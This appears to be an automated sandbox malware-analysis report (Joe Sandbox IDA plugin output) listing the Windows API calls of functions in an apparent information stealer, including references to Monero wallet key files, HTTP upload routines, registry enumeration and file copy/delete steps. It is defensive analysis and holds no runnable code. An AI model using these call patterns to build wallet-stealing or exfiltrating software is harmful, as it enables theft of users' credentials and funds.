Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

InternetCloseHandle.WININET(00000000), ref: 006C5FC7

Strings

------, xrefs: 006C5A96
", xrefs: 006C5E16
------, xrefs: 006C5D4C
------, xrefs: 006C5C0B
", xrefs: 006C5CD5

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 5edf6fc2f0a748c2e13340f9bfa1662990a72c08694f33f9b422e6b6831a28ba
Instruction ID: b2e65f6339f2497bb377a6733cf70c79f3d39b29b574f9d593d1c9073ba600f7
Opcode Fuzzy Hash: 5edf6fc2f0a748c2e13340f9bfa1662990a72c08694f33f9b422e6b6831a28ba
Instruction Fuzzy Hash: 3A124F71C24118ABCB54EBE0DC95FEEB37ABF14700F40419EB50666191EF702A49DF69

Function 006CCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D8B60: GetSystemTime.KERNEL32(006E0E1A,013E9B28,006E05AE,?,?,006C13F9,?,0000001A,006E0E1A,00000000,?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006D8B86

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006CCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006CD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 006CD0CE
lstrcat.KERNEL32(?,00000000), ref: 006CD208
lstrcat.KERNEL32(?,006E1478), ref: 006CD217
lstrcat.KERNEL32(?,00000000), ref: 006CD22A
lstrcat.KERNEL32(?,006E147C), ref: 006CD239
lstrcat.KERNEL32(?,00000000), ref: 006CD24C
lstrcat.KERNEL32(?,006E1480), ref: 006CD25B
lstrcat.KERNEL32(?,00000000), ref: 006CD26E
lstrcat.KERNEL32(?,006E1484), ref: 006CD27D
lstrcat.KERNEL32(?,00000000), ref: 006CD290
lstrcat.KERNEL32(?,006E1488), ref: 006CD29F
lstrcat.KERNEL32(?,00000000), ref: 006CD2B2
lstrcat.KERNEL32(?,006E148C), ref: 006CD2C1
lstrcat.KERNEL32(?,00000000), ref: 006CD2D4
lstrcat.KERNEL32(?,006E1490), ref: 006CD2E3

Part of subcall function 006DA820: lstrlen.KERNEL32(006C4F05,?,?,006C4F05,006E0DDE), ref: 006DA82B
Part of subcall function 006DA820: lstrcpy.KERNEL32(006E0DDE,00000000), ref: 006DA885

lstrlen.KERNEL32(?), ref: 006CD32A
lstrlen.KERNEL32(?), ref: 006CD339

Part of subcall function 006DAA70: StrCmpCA.SHLWAPI(013E8830,006CA7A7,?,006CA7A7,013E8830), ref: 006DAA8F

DeleteFileA.KERNEL32(00000000), ref: 006CD3B4

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 8cd7afb1edbd6048b3f26075fb1b320bdd2a7017407af89d9dc32adc51a75c7e
Instruction ID: a6b65044a1d46bdfc083de8da2f91aeec6ae76555dace5b2a8d9a1a9e5c7299b
Opcode Fuzzy Hash: 8cd7afb1edbd6048b3f26075fb1b320bdd2a7017407af89d9dc32adc51a75c7e
Instruction Fuzzy Hash: B6E14071D14208AFCB44EBE0DD96EEE737ABF14300F10415EF506A6291DE35AE05DBAA

Function 006C4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006C4839
Part of subcall function 006C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006C4849

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006C4915
StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006C4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,006E0DDB,00000000,?,?,00000000,?,",00000000,?,013EE420), ref: 006C4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006C4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006C4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006C4E49
InternetCloseHandle.WININET(00000000), ref: 006C4EAD
InternetCloseHandle.WININET(00000000), ref: 006C4EC5
HttpOpenRequestA.WININET(00000000,013EE5C0,?,013EDBF0,00000000,00000000,00400100,00000000), ref: 006C4B15

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

InternetCloseHandle.WININET(00000000), ref: 006C4ECF

Strings

------, xrefs: 006C4C69
", xrefs: 006C4D33
", xrefs: 006C4BF2
------, xrefs: 006C49BD
------, xrefs: 006C4B28

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: a7112db67c3b986f041f920a9633be169e3d5266cd7226e18cb7465cf31020f2
Instruction ID: 31478c84eb0c4f42ab26196031bc4ddd87c55809c7834e6bdb7a219babfe2ec7
Opcode Fuzzy Hash: a7112db67c3b986f041f920a9633be169e3d5266cd7226e18cb7465cf31020f2
Instruction Fuzzy Hash: FF124D71D15218AADB54EB90CCA2FEEB33ABF14300F50419EB50666191EF702F49DF6A

Function 006D8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

RegOpenKeyExA.KERNEL32(00000000,013EAFC0,00000000,00020019,00000000,006E05B6), ref: 006D83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 006D8426
wsprintfA.USER32 ref: 006D8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 006D847B
RegCloseKey.ADVAPI32(00000000), ref: 006D848C
RegCloseKey.ADVAPI32(00000000), ref: 006D8499

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Strings

- , xrefs: 006D85A3
%s\%s, xrefs: 006D844D
?, xrefs: 006D837A

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: c7fcf9777e2dd2be1133fc38d5fdf468f59694fca0513fe0825f28d5a325a329
Instruction ID: 4cca4045b387f141dddf38b7f52aafadf9922940048983fe1fc9691507a417be
Opcode Fuzzy Hash: c7fcf9777e2dd2be1133fc38d5fdf468f59694fca0513fe0825f28d5a325a329
Instruction Fuzzy Hash: B8814C71915218AFEB64DB50CC95FEAB7B9FF08700F008299E509A6280DF71AB85CFD5

Function 006C6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006C4839
Part of subcall function 006C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006C4849

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

InternetOpenA.WININET(006E0DFE,00000001,00000000,00000000,00000000), ref: 006C62E1
StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006C6335
HttpOpenRequestA.WININET(00000000,GET,?,013EDBF0,00000000,00000000,00400100,00000000), ref: 006C6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006C63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006C63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006C63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006C646D
InternetCloseHandle.WININET(00000000), ref: 006C64EF
InternetCloseHandle.WININET(00000000), ref: 006C64F9
InternetCloseHandle.WININET(00000000), ref: 006C6503

Strings

GET, xrefs: 006C637C
ERROR, xrefs: 006C64C9
ERROR, xrefs: 006C6407

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 3518215b5320c31d1710c15c5fd71e253c8315cf5cfeb8f0c7a92b7e6f24b931
Instruction ID: 1ff8a14b81f7cda60e0e295be96a4ece9f1902095b4866fc226be06933f82760
Opcode Fuzzy Hash: 3518215b5320c31d1710c15c5fd71e253c8315cf5cfeb8f0c7a92b7e6f24b931
Instruction Fuzzy Hash: 5A717C71A04308ABDB14DBA0CC49FEE77BAEB04700F10815DF50A6B290DBB46A85DF95

Function 006D5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA820: lstrlen.KERNEL32(006C4F05,?,?,006C4F05,006E0DDE), ref: 006DA82B
Part of subcall function 006DA820: lstrcpy.KERNEL32(006E0DDE,00000000), ref: 006DA885

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006D5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006D56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006D5857

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006D51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006D5228

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

Part of subcall function 006D52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006D5318
Part of subcall function 006D52C0: lstrlen.KERNEL32(00000000), ref: 006D532F
Part of subcall function 006D52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 006D5364
Part of subcall function 006D52C0: lstrlen.KERNEL32(00000000), ref: 006D5383
Part of subcall function 006D52C0: lstrlen.KERNEL32(00000000), ref: 006D53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006D578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006D5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006D5A0C
Sleep.KERNEL32(0000EA60), ref: 006D5A1B

Strings

ERROR, xrefs: 006D577D
ERROR, xrefs: 006D5849
ERROR, xrefs: 006D59FE
ERROR, xrefs: 006D5693
ERROR, xrefs: 006D5636
ERROR, xrefs: 006D5932

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 7c66d79dfbaddfe774a4bbe6bcb9b63c2d4445d19402c0740b4cbad4d9e7f121
Instruction ID: de69466159f89d6d1d16ef198dd4e250f98ffa7c49f394d5fa8250c5d8813d28
Opcode Fuzzy Hash: 7c66d79dfbaddfe774a4bbe6bcb9b63c2d4445d19402c0740b4cbad4d9e7f121
Instruction Fuzzy Hash: 72E13071D142449ACB54FBE0DC52EFD733AAF54300F50812EB90766692EF34AB09DB9A

